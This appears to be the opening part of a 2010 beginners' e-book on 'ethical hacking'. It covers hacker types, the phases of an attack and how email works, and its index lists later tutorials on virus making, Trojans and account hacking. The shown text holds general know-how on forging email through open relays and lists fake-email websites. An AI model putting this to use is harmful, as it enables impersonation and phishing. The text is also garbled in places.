Hacking For Beginners – Manthan Desai

2010

Legal Disclaimer

Any proceedings and or activities related to the material contained within this book are exclusively your liability. Themisuse and mistreat of the information in this book can consequence in unlawful charges brought against the persons inquestion. The authors and review analyzers will not be held responsible in the event any unlawful charges brought againstany individuals by misusing the information in this book to break the law. This book contains material and resources thatcan be po tentially destructive or dangerous. If you do not fully comprehend something on this book, don‘t study thisbook. Please refer to the laws and acts of your state/region/ province/zone/territory or country before accessing, using,or in any other way utilizing these resources. These materials and resources are for educational and research purposesonly. Do not attempt to violate the law with anything enclosed here within. If this is your intention, then leave now.

While using this book and reading various hacking tutorials, you agree to follow belowmentioned terms and conditions:

1. All the information provided in this book is for educational purposes only. The book author is no way responsible forany misuse of the information.

2. "Hacking for Beginn ers” is just a term that represents the name of the book and is not a book that provides any illegalinformation. “Hacking for Beginners” is a book related to Computer Security not a book that promoteshacking/cracking/software piracy.

3. This book is totally meant for providing information on "Computer Security”, "Computer Programming” and otherrelated topics and is no way related towards the terms "CRACKING” "HACKING” (Unethical).

4. Few articles (tutorials) in this book may contain the informatio to "Hacking Passwords” or "Hacking EmailAccounts” (Or Similar terms). These are not the GUIDES of Hacking. They only provide information about the legal ways ofretrieving the passwords. You shall not misuse the information to gain unauthorized access. However you may try outthese hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers thatyou do not own is illegal.

5. The virus creation section in this book provides demonstration on coding simple viruses using high level programminglanguages. These viruses are simple ones cause no serious damage to the computer. However we strongly insist thatthese information shall only be used to expand programming knowledge and not for causing malicious attacks.

6. All the information in this book is meant for developing Hacker Defense attitude among the readers and helppreventing the hack attacks. “Hacking for Beginners” insists that this information shall not be used for causing any kind ofdamage directly or indirectly. However you may try these codes on your own computer at your own risk.

7. The word "Hack” or "Hacking” that is used i n this book shall be regarded as " Ethical Hack ” or " Ethical Hacking ”respectively.

8. We believe only in White Hat Hacking . On the other hand we condemn Black Hat Hacking .

9. Most of the information provided in this book are simple computer tricks (may be called by the name hacks) and are noway related to the term hacking.

10. Some of the tricks provided by us may no longer work due to fixture in the bugs that enabled the exploits. We are notresponsible for any direct or indirect damage caused due to the usage of the hacks provided in the book.

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About the Author

Manthan Desai is a sovereign Computer Security Consultant and has state-of-the-art familiarity in the field of computer.An ethical hacker and a freelance web designer is famous for his website Tech ( www.hackingtech.co.tv ) which isranked 2 nd in the ucoz.com web hosting servers for security field.

Manthan is indeed a writer on the internet through his website. 10,000 visits have been incurred on his website andon the increase day by day.

Manthan is currently perusing his bachelor’s degree in computer science engineering and is working as and informationsecurity consultant and web designer.

He is providing the services like Ethical hacking training and workshops, website Development and maintenance, securityconsultant, graphic designing for website.

The one and the only quote that Manthan while his ethical hacking is “Hack it and Have it.”

To Know More about the Author Please Visit: www.manthandesai.co.cc

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Preface

Computer hackin g is the practice of altering computer hardware and software to carry out a goal outside of the creator‘soriginal intention. People who slot in computer hacking actions and activities are often entitled as hackers .

The majority of people assume that hackers are computer criminals. They fall short to identify the fact that criminals andhackers are two entirely unrelated things. Media is liable for this. Hackers in realism are good and extremely intelligentpeople, who by using their knowledge in a constructive mode help organizations, companies, government, etc. to securecredentials and secret information on the Internet.

Years ago, no one had to worry about Crackers breaking into their computer and installing Trojan viruses, or using yourcomputer to send attacks against others. Now that thing have changed, it's best to be aware of how defend yourcomputer from damaging intrusions and prevent black hat hackers. Rampant hacking is systematically victimizingcomputers around the world. This hacking is not only common, but is being executed without a flaw the attackerscompromise a system, steal everything of value and entirely rub out their pathway within 20 minutes. So, in this Book youwill uncover the finest ways to defend your computer systems from the hackers

This Book is written by keeping one object in mind that a beginner, who is not much familiar regarding computer hacking,can easily, attempts these hacks and recognize what we are trying to demonstrate. Here we have incorporated the bestethical hacking articles in this volume, covering every characteristic linked computer security.

After Reading this book you will come to recognize that how Hacking is our every day routine work and can bevery hazardous in many fields like bank account hacking etc. Moreover, after carrying out this book in detail you will becapable of understanding that how a hacker hacks and how you yourself from these threats.

So Take care of yourself and Defend Yourself By hacking the hacker safe after that. So If you know how to hack ahacker then you can know how to prevent the hacker.

“Hack It and Have It...”

- Manthan Desai (author)

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Acknowledgements

Book or volume "Hacking for Beginners” is tremendously complex to write, particularly without support of the Almighty GOD .

I express heartfelt credit to My Parents Mr.Manish Desai and Mrs. Jagruti Desai without them I have no existence. I ammore than ever thankful to Nirma University for the inspiration which I got for learning hacking and getting such greatopportunity to write the book. I am also thankful to my friends and partner who facilitated me at various research stagesof this book and helped me to complete this book and mentioned me new suggestion for the book.

To finish, I am thankful to you also as you are reading this book. I am sure this will book make creative constructiverole to build your life more secure and alert than ever before.

Again Nothing but “Hack

It and Have It...”

- Manthan Desai

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Index

SECTION 1:- The Theatrical concepts and Explanation.

1. Concept of Ethical Hacking…………………………………………… ……………………………………………………………… .. ……. 12

What Is Hacking …………………………………………………………………………….…………………………………………………………….….. 12

Types of hacker ………………………………………………………………………………………………...………………………………………… . … . 13

Why hackers hack? ……………………………………………………………………………………………………………………………………… . …. 15

Preventions from hacker ……………………………………………………………………………………………………………………..……… . .… 15

Steps Performed by hackers ………………………………………………………………………………………………………………………. . ..…. 16

Working of an Ethical hack er ………………………………………………………………………………………………………………………… . … 17

2. Email Hacking ……………………………………………………………………………………………………………………..… . … .. ……… 19

How Email Works? ……………………………………………………………………………………………………………………………………….…. 19

Email service protocols ……………………………………………………………………………………………………………………………….…... 20

Email spoofing …………………………………………………………………………………………………………………………………………….….. 21

PHP Mail sending script …………………………………………………………………………………………………………………………….…… . 22

Ema il Spamming …………………………………………………………………………………………………………………………………………... .. 23

Phishing …………………………………………………………………………………………………………………………………………………….……. 2 3

Prevention from phishing ………………………………………………………………………………………………………………………….……. 2 4

Email Tracing …………………………………………………………………………………………………………………………………………….……. 2 4

Keystroke loggers ……………………………………………………………………………………………………………………………………….….. 26

Securing Your Email account …………………………………………………………………………………………………………………………. . 27

3. Windows Hacking and Security.…...………………………………………………… …………………………………… . …………… 28

Security Architecture of Windows………………………………………………………………………………………………………………….. 28

Windows user account Architecture………………………………………………………………………………………………………………. 29

Cracking Windows User Account password ………………………………………………………………………………………………….. . 30

Windows User Account Attack …………………………………………………………………………………………………………………....… 33

Counter Measures of Windows Attack …………………………………………………………………………………………………………. . 33

To hide a file behind a image …………………………………………………………………………………………………….………………..… 3 4

M ake a private folder……………………………………………………………………………………………………………………………………. . 35

To run net user in Vista and Windows 7 …………………………………………………………………………………………………..…. .. 37

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Brute Force Attack ……………………………………………………………………………………………………………………………………….… 3 8

Rainbow table atta ck …………………………………………………………………………………………………………….…………………….…. 39

Counter Measures for Windows Attack ………………………………………………………………………………….………………….….. 40

4. Trojans in Brief ………………………………………………………………………………………………….………………… . ………. . … . 42

Knowing the Trojan ………………………………………………………………………………….………………………………………………...…. 42

Different Types of Trojans ……………………………………………………………………………………………………………………….…….. 4 3

Components of Trojans …………………………………………………………………………………………………………………..…………….. 4 5

Mode of Transmission for Trojans …………………………………………………………………………………………………………….…… 4 7

Detection and Removal of Trojans ………………………………………………………………………………………………………………... 4 8

Countermeasures for Trojan attacks ………………………………………………………………………………………………………….…. 4 8

5 . Attacks on web servers and Security ……….………………………………………………………………………… . ………… . … . 49

Introduction to Web Servers.. ………………………………………………………………….………………………………………………...…. 49

The Basic Process: How Web servers work …………………………………………………………………………………………….………. 49

Attacks on Web servers …………………………………………………………………………………………………………………………….…. .. 50

Web Ripping …………………………………………………………………………………………………………………………………………….….… 50

Google Hacking ………………………………………………………………… ………………………………………………………………………..…. 51

Protecting Your Files from Google ……………………………………………………………………………………………………………….... 5 3

Cross Site Scripti ng (XSS) …………………………………………………………………………………………………………………… . ……….… 5 4

Directory Traversal Attack …………………………………………………………………………………………………………….…..………..… 5 5

Database Servers ………………………………………………………………………………………………………………………………….……….. 5 7

Login Process on the websites ………………………………………………………………………………………………….……….………….. 5 8

SQL injection …………………………………………………………………………………………………………………………………………….…… 5 8

Input validation on the SQL Injection ……………………………………………………………………………….……………………….…… 59

PHP Injection: Placing PHP backdoors ……………………………… …………………………………………………………………….…….. 60

Directory Access controls …………………………………………………………………………………………………………………………… ... 62

How Attackers Hide Them While Attacking …………………………………………………………………………………………… . … . … . 62

Types of Proxy Servers …………………………………………………………………………………………… ………………………………… .. … 6 3

6. Wireless hacking …………………………………..………………………………………………………………………………..…… . … .. 65

Wireless Standards …….……………………………………………………………………………………………………………………………… . … 6 5

Services provided by Wireless Networks ……………………………………………………………………………………………………….. 6 7

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MAC address filtering …..…………………………………………………… ……………………………………………………………………….…. 6 8

WEP key encryption …………………………………………………………………………………………………………………………………….… 69

Wireless attacks ……………………………………………………………………………………………………………………………………….……. 69

MAC spoofing ……………………………………………………………………………………………………………………………………… . ……….. 70

WEP cracking ……………………………………………………………………………………………………………………………………………. . ….. 70

Countermeasures for Wireless attacks …………………………………………………………………………………………………….… . …. 71

7 . Mobile Hacking – SMS & Call forging …………………………………………………………………………….…………..… .. …….72

What Does It Involve ……………………………………………………………………………………………………………………………..…. . ….. 72

Call Spoofing / Forging ……………………………………………………………………………………………………………………….……. . …… 7 4

SMS Forging …………………………………………………………………………………………………………………………………………………… 7 5

Bluesnarfing ………………………………………………………………………………… ……………………………………………………………..... 7 6

8. Information gathering and Scanning ……………………………………………………………………………… . ………………… .78

Why Information gathering? ………………………………………………………………………………………………………………………… .. 78

Reverse IP mapping ……………………………………………………………………………………………………………… ………………….……. 7 8

Information Gathering Using Search Engine …………………………………………………………………………………………….……. 79

Detecting ‘live’ systems on target network …………………………………………………………………………………………….……… 81

War diallers ……………………………………………………………………………………………………………………………………………….….… 81

9. Sniffers ……………………………………………….………………………………………………………………………… . … . ……… .. ….… 82

What are Sniffers ? ………………………………………………………………………………………………………………… . ………………….…. 82

Defeating Sniffers………………………………………………………………………………………………………………… . ……………………..…. 8 3

Ant Sniff ……………………………………………………………………………………………………………………………… . ……………………..…. 8 3

10. Linux Hacking..…………………………………….…………………………………………………………….………… . ………….… ... … 85

Why Linux?..............………………………………………………………………………………………………………………………………… .. .… .. 85

Scanning Networks ……………………………………………………………………………………………………… …………………………..……. 8 6

Hacking tool Nmap …………………………………………………………… ………………………………………………………………………..…. 8 7

Password cracking in Linux ………………………………………………………………………………………………………………………..….. 8 7

SARA (Security Auditor’s Research Assistant) ……………………………………………………………………………………………..…. 8 8

Linux Root kits …………………………………………………………………………………………………………………………………………..…… 8 8

Linux Tools: Security Testing tools ………………………………………………………………………………… .. ………………………….…. 90

Linux Security Count ermeasures …………………………………………………………………… .. ………………………………………. . …... 90

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SECTION 2:- The Tutorial based hacks and explaination as online.

2010

1. How to Chat with your friends using MS- DOS ……………………………………………………….………………..………………… ... 93

2. How to change your IP address ………………………………………………………………………………………………………………… . … 9 4

3. How To fix corrupted XP files …………….……………………………………………………………………………………………………… … 95

4. Delete an “Undeletable” File / Folder ……………………………………………………………………………………………………….. .. 96

5. What is Steganography? ………………………………………………………………………………………………………………………..…… 100

6. What Is MD5 Hash & How to Use It? ……………………………………………………………………………………………………… ..... 101

7. What is Phishing and Its Demo ……………………………………………………………………………………………………………….… .. 103

8. How to view hidden passwords behind asterisk (**** ****) ……………………………………………………………..……… .. 106

9. Hacking Orkut Account Using Cookie Stealing ……………………………………………………………………………….………… ... 108

10. Tab Napping A New Phishing Attack …………………………………………………………………………………………….……………. 110

11. How to Check The email is original or Not ……………………………………………………………………………………… . ………… 113

12. Hack facebook account using facebook hacke r …………………………………………………………………………….… . ……… ... 116

13. What Are Key loggers ?.................................................................................................................................. 118

14. How to remove New Folder virus ………………………………………………………………………………………..……… . ……… .... 120

15. Mobile hack to call your friends From their own Number …………………………………………………….… . …………… . … 12 1

16. Get Orkut Scraps on Mobile for free using Google SMS Channel!................................................................. 124

17. Internet connection cut-off in ……………………………………………………………………….………………… . …….. 127

18. WEP cracking using Airo Wizard……………………………………………………………………………………………………… . ………. 1 29

19. 12 Security tips for online shoppi ng ……………………………………………………………………………………………… . ……..... 133

20. How to check if Your Gmail account is hacked or not ………………………………………………………………………… . …… 134

21. Beware of common Internet Scams and Frauds ………………………………………………………………………… . …………… 13 7

22. 12 Tips to maintain a virus free P C………………………………………………………………………………………………………….… 138

23. 10 Tips for Total Online Security………………………………………………………………………………………………………………. 140

24. What to do when your Orkut account is hacked …………………………………………………………………………………..….. 14 2

25. Making a computer virus …………………………………………………………………………………………………………………….….. 143

26. SQL injection for website hacking……………………………………………………………………………………………………………. . 147

27. How a ‘Denial of service’ attack works …………………………………………………………………………………………………… .. 151

28. XSS vulnerability found on You Tube explained ………………………………………….………………………………………….... 154

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29. Hacking Deep Freeze …………………………………………………………………………………………………………………………………. 157

30. How to watch security cameras on internet ………………………………………………………………………………………..……. 159

31. List of PC file Extensions……………………………………………………… …………………………………………………………………….. 161

32. Nice List of Windows Shortcuts …………………………………………………………………………………………………………………. 185

33. How to find serial numbers on Google ………………………………………………………………………………………………………. 191

34. How to create a CON folder in Windows …………………………………………………………………………………………………… 1 92

35. 10 Reasons why PC’s crash you must know………………………………………………………………………………………………… 195

36. How to use Kaspersky for Lifetime without Patch ……………………………………………………………………………………… 200

37. Disguise as Google Bot to view Hidden Content of a Website …………………………………………………………………… 201

38. How to Download Facebook videos ………………………………………………………………………………………………………… .. 203

39. Hack a website by Remote File Inclusion ………………………………………………………………………………………………….. 205

40. What is CAPTCHA and how it works? …………………………………………………………………………………………………… . ….. 207

41. Hack Pass word of any Operating System …………………………………………………………………………………… . ………… ... 209

42. Windows PowerShell Security in Brief ………………………………………………………………………………………………………. 21 1

43. What is Secure Sockets Layers (SSL)? ……………………………………………………………………………………………………….. 21 6

44. Make a Private folder With your password ………………………………………………………………………………………………. 22 0

45. Making a Trojan using Beast 2.06……………………………………………………………………………………………………………… 222

46. Hacking yahoo messenger for multi login ……………………… ………………………………………………………………………… 228

47. 5 Tips to secure your Wi-Fi a …………………………………………………………………………………………………. 229

48. Upgrade Windows 7 to any higher version ……………………………………………………………………………………………… 230

49. World’s top 10 internet hackers of all time ……………………………………………………………………………………….…….. 231

50. The complete History of hacking …………………………………………………………………………………………………………….. 238

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The Theatrical concepts and Explanation.

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1. Concept of Ethical HackingHacking

 The Art of exploring various security breaches is termed as Hacking.

 Computer Hackers have been around for so many years. Since the Internet became widely used in the World, Wehave started to hear more and more about hacking. Only a few Hackers, such as Kevin Mitnick, are well known.

 In a world of Black and White, it’s easy to describe the typical Hacker. A general outline of a typical Hacker is anAntisocial, Pimple-faced Teenage boy. But the Digital world has many types of Hackers.

 Hackers are human like the rest of us and are, therefore, unique individuals, so an exact hard to outline.The best broad description of Hackers is that all Hackers aren’t equal. Each Hacker has Motives, Methods andSkills. But some general characteristics can help you understand them. Not all Hackers are Antisocial, Pimple-faced Teenagers. Regardless, Hackers are curious about Knowing new things, Brave to take steps and they areoften very Sharp Minded.

Hacker

 Hacker is a word that has two meanings:

 Traditionally, a Hacker is someone who likes to play with Electronic Systems. Hackers enjoy Exploringand Learning how Computer systems operate. They love ways to work electronically.

 Recently, Hacker has taken on a new meaning — someone maliciously breaks into systems for personal gain.Technically, these criminals are Crackers as Criminal Hackers. Crackers break into systems with maliciousintentions.

 They do it for Personal gain, Fame, Profit and even Revenge. They Modify, Delete and Steal critical information,often making other people's miserable.

 Hacking has a lot of meanin gs depending upon the person’s knowledge and his work intentions. Hacking is an Artas well as a Skill. Hacking is the knowledge by which one gets to achieve his Goals, anyhow, using his Skills andPower.

 Most people associate Hacking with breaking law, therefore calling all those guys who engage in hacking activitiesto be criminals. We agree that there are people out there who use hacking techniques to break the law, buthacking is not really about that. In fact, hacking is more about following the law and performing the steps withinthe limits.

Hacker vs. Cracker

What Is the Difference Between a Hacker and a Cracker?

 Many articles have been written about the difference between Hackers and crackers, which attempt to correctpublic misconceptions about hacking. For many years, media has applied the word Hacker when it really meansCracker. So the public now believe that a Hacker is someone who breaks into computer systems and stealconfidential data. This is very untrue and is an insult to some of our most talented Hackers.

There are various points to determine the difference between Hackers and crackers

 Definition - A Hacker is a person who is interested in the working of any computer Operating system. Most often,Hackers are programmers. Hackers obtain advanced knowledge of operating systems and programminglanguages. They may know various security holes within systems and the reasons for such holes. Hackers

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constantly seek further knowledge, share what they have discovered, and they never have intentions aboutdamaging or stealing data.

 Definition - A Cracker is a person who breaks into other people systems, with malicious intentions. Crackers gainunauthorized access, destroy important data, stop services provided by the server, or basically cause problems fortheir targets. Crackers can easily be identified because their actions are malicious.

 Whatever the case, most people give Hacker a negative outline. Many malicious Hackers are electronic thieves.Just like anyone can become a thief, or a robber, anyone can become a Hacker, regardless of age, gender, orreligion. Technical skills of Hackers vary from one to another. Some Hackers barely know how to surf the Internet,whereas others write software that other Hackers depend upon.

Types of Hacker

 The Real Hackers are the Coders, the ones who revise the methods and create tools that are available in themarket. Coders can find security holes and weaknesses in software to create their own exploits. These Hackers

vulnerability in existing software and tounderstanding of the OSI Layer Model and

 Admins are the computer guys who use the tools and exploits prepared by the coders. They do not develop theirown techniques, however they uses the tricks which are already prepared by the coders. They are generallySystem Administration, or Computer Network Controller. Most of the Hackers and security person in this digitalworld come under this category.

 Admins have experience with several operating systems, and know how to exploit several existing vulnerabilities.A majority of Security Consultants fall in this group and work as a part of Security Team.

Script Kiddies

 Next and the most dangerous class of Hackers is Script kiddies, They are the new generation of users of computerwho take advantage of the Hacker tools and documentation available for free on the Internet but don’t have anyknowledge of what’s going on behind the scenes. They know just enough to cause you headaches but typically arevery sloppy in their actions, leaving all sorts of digital fingerprints behind. Even though these guys are the teenageHackers that you hear about in the news media, they need minimum skills to carry out their attacks.

 Script Kiddies are the bunnies who use script and programs developed by others to attack computer systems andNetworks. They get the least respect but are most annoying and dangerous and can cause big problems withoutactually knowing what they are doing.

 Types of Hackers on the basis of activities performed by them.

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White Hat Hacker

 A White Hat Hacker is computer guy who perform Ethical Hacking. These are usually security professionals withknowledge of hacking and the Hacker toolset and who use this knowledge to locate security weaknesses andimplement counter measures in the resources.

 They are also known as an Ethical Hacker or a Penetration Tester. They focus on Securing and Protecting ITSystems.

Hackers or Crackersviolate thesystem integrity of remote machines, with malicious intent.

 These are also known as an Unethical Hacker or a Security Cracker. They focus on Security Cracking and Datastealing.

sometimes in good will, and sometimes not.but may or may not occasionally commit

 They are hybrid between White Hat and Black Hat Hackers.

Ethical Hacking

 Ethical Hacking is testing the for a good cause and for the betterment of technology. Technically EthicalHacking means penetration testing which is focused on Securing and Protecting IT Systems.

Hactivism

 Another type of Hackers are Hacktivists, who try to broadcast political or social messages through their work. AHacktivist wants to raise public awareness of an issue. Examples of hacktivism are the Web sites that weredefaced with the Jihad messages in the name of Terrorism.

Cyber Terrorist

 There are Hackers who are called Cyber Terrorists, who attack government computers or public utilityinfrastructures, such as power stations and air-traffic-control towers. They crash critical systems or steal classifiedgovernment information. While in a conflict with enemy countries some government start Cyber war via Internet.

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Why Hackers Hack?

 The main reason why Hackers hack is because they can hack. Hacking is a casual hobby for some Hackers — theyjust hack to see what they can hack and what they can’t hack, usually by testing their own systems. Many Hackersare the guys who get kicked out of corporate and government IT and security organizations. They try to bringdown the status of the organization by attacking or stealing information.

 The knowledge that malicious Hackers gain and the ego that comes with that knowledge is like an addiction.Some Hackers want to make your life miserable, and others simply want to be famous. Some common motives ofmalicious Hackers are revenge, curiosity, boredom, challenge, theft for financial gain, blackmail, extortion, andcorporate work pressure.

 Many Hackers say they do not hack to harm or profit through their bad activities, which helps justify their work. They often do not look for money full of pocket. Just proving a point is often a good reward for them.

Prevention from Hackers

 What can be done to prevent Hackers from finding new holes in software and exploiting them?

 Information security research teams exist — to try to find these holes notify vendors before they areexploited. There is a beneficial competition occurring between Hackers securing systems and the Hackersbreaking into those systems. This competition provides better and stronger security, as well as morecomplex and sophisticated attack techniques.

 Defending Hackers create Detection Systems to track Hackers, while the attacking Hackers developbypassing techniques, which are eventually resulted in better detecting and tracking systems. The netresult of this interaction is positive, as it produces smarter people, improved security, more stable software,inventive problem-solving techniques, and even a new economy.

 Now when you need protection from Hackers, whom you want to call, “The Ethical Hackers”. An Ethical Hackerpossesses the skills, mindset, of a Hacker but is also trustworthy. Ethical Hackers perform the hacks assecurity tests computer systems.

 Ethical Hacking — also known as Penetration Testing or White-Hat Hacking — involves the same Tools, Tricks andTechniques that Hackers use, but with one major difference:

 Ethical hacking is Legal.

 Ethical hacking is performed with the target’s permission. The intent of Ethical Hacking is to discovervulnerabilities from a Hacker’s viewpoint so systems can be better secured. Ethical Hacking is part of an overallinformation Risk Management program that allows for ongoing security improvements. Ethical hacking can alsoensure that vendors’ claims about the security of their products are legitimate.

 As Hackers expand their knowledge, so should you. You must think like them to protect your systems from them.You, as the ethical Hacker, must know activities Hackers carry out and how to stop their efforts. You should knowwhat to look for and how to use that information to thwart Hackers’ efforts.

 You don’t have to prot ect your systems from everything. You can’t.

The only protection against everything is to unplug your computer systems and lock them away so noone can touch them — not even you.

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 That’s not the best approach to information security. What’s important is to protect your systems from knownVulnerabilities and common Hacker attacks.

 It’s impossible to overcome all possible vulnerabilities of your systems. You can’t plan for all possible attacks —especially the ones that are currently unknown which are called Zero Day Exploits. These are the attacks whichare not known to the world. However in Ethical Hacking, the more combinations you try — the more you testwhole systems instead of individual units — the better your chances of discovering vulnerabilities.

Steps Performed By hackers

1) Reconnaissance

2) Scanning

3) Gaining Access

4) Maintaining Access

5) Clearing Tracks

• Performing Reconnaissance

• Scanning and Enumeration

• Gaining access

• Maintaining access and Placing Backdoors

• Covering tracks or Clearing Logs

 Reconnaissance can be described as the pre-attack phase and is a systematic attempt to locate, gather, identify,and record information about the target. The Hacker seeks to find out as much information as possible about thetarget.

Phase II: Scanning and Enumeration

 Scanning and enumeration is considered the second pre-attack phase. This phase involves taking the informationdiscovered during reconnaissance and using it to examine the network. Scanning involves steps such as intelligentsystem port scanning which is used to determine open ports and vulnerable services. In this stage the attackercan use different automated tools to discover system vulnerabilities.

Phase III: Gaining Access

 This is the phase where the real hacking takes place. Vulnerabilities discovered during the reconnaissance andscanning phase are now exploited to gain access. The method of connection the Hacker uses for an exploit can bea local area network, local access to a PC, the Internet, or offline. Gaining access is known in the Hacker world asowning the system. During a real security breach it would be this stage where the Hacker can utilize simpletechniques to cause irreparable damage to the target system.

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Phase IV: Maintaining Access and Placing Backdoors

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 Once a Hacker has gained access, they want to keep that access for future exploitation and attacks. Sometimes,Hackers harden the system from other Hackers or security personnel by securing their exclusive access withBackdoors, Root kits, and Trojans.

 The attacker can use automated scripts and automated tools for hiding attack evidence and also to createbackdoors for further attack.

Phase V: Clearing Tracks

 In this phase, once Hackers have been able to gain and maintain access, they cover their tracks to avoid detectionby security personnel, to continue to use the owned system, to remove evidence of hacking, avoid legalaction. At present, many successful security breaches are made but never detected. This cases wherefirewalls and vigilant log checking were in place.

Working of an ethical hacker

bad things can happen. Most of the timeethical hacking tests. The results are even

 The word ethical can be defined as working with high professional morals and principles. Whether you’reperforming ethical hacking tests against your own systems or for someone who has hired you, everything you doas an ethical Hacker must be approved and must support the company’s goals. No hidden agendas are allowed!Trustworthiness is the ultimate objective. The misuse of information is absolutely not allowed. That’s what the

 Treat the information you gather with complete respect. All information you obtain during your testing — fromWeb application log files to clear-text passwords — must be kept private.

Not crashing your systems:

 One of the biggest mistakes is when people try to hack their own systems; they come up with crashing theirsystems. The main reason for this is poor planning. These testers have not read the documentation ormisunderstand the usage and power of the security tools and techniques.

 You can easily create miserable conditions on your systems when testing. Running too many tests too quickly on asystem causes many system lockups. Many security assessment tools can control how many tests are performedon a system at the same time. These tools are especially handy if you need to run the tests on production systemsduring regular business hours.

Executing the plan:

 In Ethical hacking, Time and patience are important. Be careful when you’re performing your ethical hacking tests.A Hacker in your network or an employee looking over your shoulder may watch what’s going on. This person

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could use this information against you. It’s not practical to make sure that no Hackers are on your systems beforeyou start. Just make sure you keep everything as quiet and private as possible. This is especially critical when transmitting and storing your test results. You’re now on a reconnaissance mission.Find as much information as possible about your organization and systems, which is what malicious Hackers do.Start with a broad view of mind and narrow your focus. Search the Internet for your organization’s name, yourcomputer and network system names, and your IP addresses. Google is a great place to start for this.

 Don’t take ethical hacking too far, though. It makes little sense to harden your systems from unlikely attacks. Forinstance, if you don’t have a internal Web server running, you may not have to worry too much about. However,don’ t forget about insider threats from malicious employees or your friends or colleagues!

“ Never share your password with anyone even with your Boyfriend (s) or Girlfriend ”.

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2. Email hackingHow Email Works?

 Email sending and receiving is controlled by the Email servers. All Email service providers configure Email Serverbefore anyone can Sign into his or her account and start communicating digitally.

 Once the servers are ready to go, users from across the world register in to these Email servers and setup anEmail account. When they have a fully working Email account, they sign into their accounts and start connectingto other users using the Email services.

Email Travelling Path

 Let’s say we have two Email providers, one is Server1.com and other is Server2.in, ABC is a registered user inServer1.com and XYZ is a registered user in Server2.in.

 ABC signs in to his Email account in Server1.com, he then writes a mail to the xyz@server2.in and click on Sendand gets the message that the Email is sent successfully.

 But what happens behind the curtains, the Email from the computer abc@server1.com is forwarded to theEmail server of Server1.com. Server1 then looks for server2.in the internet and forwards the Email of theserver2.in for the account of XYZ. Server2.in receives the from server1.com and puts it in the account ofXYZ.

 XYZ then sits on computer and signs in to her Email account. Now she has the message in her Email inbox.

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Email Service Protocols

SMTP

 SMTP stands for Simple Mail Transfer Protocol. SMTP is used when Email is delivered from an Email client, such asOutlook Express, to an Email server or when Email is delivered from one Email server to another. SMTP uses port25.

POP3

 POP3 stands for Post Office Protocol. POP3 allows an Email client to download an Email from an Email server. Thethat the Emaildisconnects. POP3

 IMAP stands for Internet Message Access Protocol. IMAP shares many similar features with POP3. It, too, is aprotocol that an Email client can use to download Email from an Email server. However, IMAP includes manymore features than POP3. The IMAP protocol is designed to let users keep their Email on the server. IMAPrequires more disk space on the server and more CPU POP3, as all Emails are stored on the server.IMAP normally uses port 143.

Configuring an Email Server

 Email server software like Post cast Server, Hmailserver, can be used to convert your Desktop PCinto an Email sending server.

 HMailServer is an Email server for Microsoft Windows. It allows you to handle all your Email yourself withouthaving to rely on an Internet service provider (ISP) to manage it. Compared to letting your ISP host your Email,HMailServer adds flexibility and security and gives you the full control over spam protection.

Email Security

 Now let’s check how secure this fast mean of communic ation is. There are so many attacks which are applied onEmails. There are people who are the masters of these Email attacks and they always look for the innocent peoplewho are not aware of these Email tricks and ready to get caught their trap.

 You have to make sure that you are not an easy target for those people. You have to secure your Email identityand profile, make yourself a tough target.

 If you have an Email Id Do not feel that it does not matters if hacked because there is no important information inthat Email account, because you do not know if someone gets your Email id password and uses your Email to senda threatening Email to the Ministry or to the News Channels.

 Attacker is not bothered about your data in the Email. He just wants an Email ID Victim which will be used in theattack. There are a lots of ways by which one can use your Email in wrong means, i am sure that you would havecome across some of the cased where a student gets an Email from his friends abusing him or cases on PornEmails where the owner of the Email does not anything about the sent Email.

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Email Spoofing

 Email spoofing is the forgery of an Email header so that the message appears to have originated from someone orsomewhere other than the actual source. Distributors of spam often use spoofing in an attempt to get recipientsto open, and possibly even respond to, their solicitations. Spoofing can be used legitimately.

 There are so many ways to send the Fake Emails even without knowing the password of the Email ID. The Internetis so vulnerable that you can use anybody's Email ID to send a threatening Email to any official personnel.

Methods to send fake Emails

Fake Emails: Open Relay Server

 An Open Mail Relay is an SMTP (Simple Mail Transfer Protocol) server configured in such a way that it allowsanyone on the Internet to send Email through it, not just or ‘Originating’ from known users.

 An Attacker can connect the Open Relay Server via Telnet server to send the Email.

 Open Relay Email Server requires no password to send

Fake Emails: via web script

 Web Programming languages such as PHP and ASP contain the mail sending functions which can be used to sendEmails by programming Fake headers i.e .” From: To: Subject:”

 There are so many websites the Internet which already contains these mail sending scripts. Most ofthem provide the free service.

 Some of Free Anonymous Email Websites are:



Mail.Anonymizer.name (Send attachments as well)FakEmailer.netFakEmailer.infoDeadfake.comwww.hackingtech.co.tv/index/0-93

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PHP Mail sending script

Consequences of fake emails

 Email from your Email ID to any Security Agency declaring a Bomb can make you spend rest of your lifebehind the iron bars.

 Email from you to your Girl friend or Boy friend can cause and set your friend’s to be in relationship.

 Email from your Email ID to your Boss carrying your Resignation Letter or anything else which you can think of.

 There can be so many cases drafted on Fake Emails.

Proving a fake Email

 Every Email carry Header which information about the Travelling Path of the Email

 Check the Header and Get the location from the Email was Sent

 Check if the Email was sent from any other Email Server or Website

 Headers carry the name of the Website on which the mail sending script was used.

Email Bombing

 Email Bombing is sending an Email message to a particular address at a specific victim site. In many instances, themessages will be large and constructed from meaningless data in an effort to consume additional system andnetwork resources. Multiple accounts at the target site may be abused, increasing the denial of service impact.

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Email Spamming

 Email Spamming is a variant of Bombing; it refers to sending Email to hundreds or thousands of users (or to liststhat expand to that many users). Email spamming can be made worse if recipients reply to the Email, causing allthe original addressees to receive the reply. It may also occur innocently, as a result of sending a message tomailing lists and not realizing that the list explodes to thousands of users, or as a result of a responder message(such as vacation(1)) that is setup incorrectly.

Email Password Hacking

 There is no specified attack available just to hack the password of Email accounts. Also, it is not so easy tocompromise the Email server like Yahoo, Gmail, etc.

 Email Password Hacking can be accomplished via some of the Client Side Attacks. We try compromise the userand get the password of the Email account before it reaches the desired Email server.

 We will cover many attacks by the workshop flows, but at this time we will talk about the very famous 'Phishingattack'.

Phishing

 The act of sending an Email to a user falsely claiming to established legitimate enterprise in an attempt toscam the user into surrendering private information that used for identity theft.

 The Email directs the user to visit a Web site where they to update personal information, such aspasswords and credit card, social security, and bank account numbers, that the legitimate organization alreadyhas. The Web site, however, is Bogus and set up only to steal the User’s information.

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Phishing scams could be

 Emails inviting you to join a Social Group, asking you to Login using your Username and Password.

 Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.

 Emails containing some Information of your Interest and asking you to Login to Your Account.

 Any Email carrying a Link to Click and asking you to Login.

Prevention against Phishing

 Read all the Email Carefully and the Sender is Original

 Watch the Link Carefully before Clicking

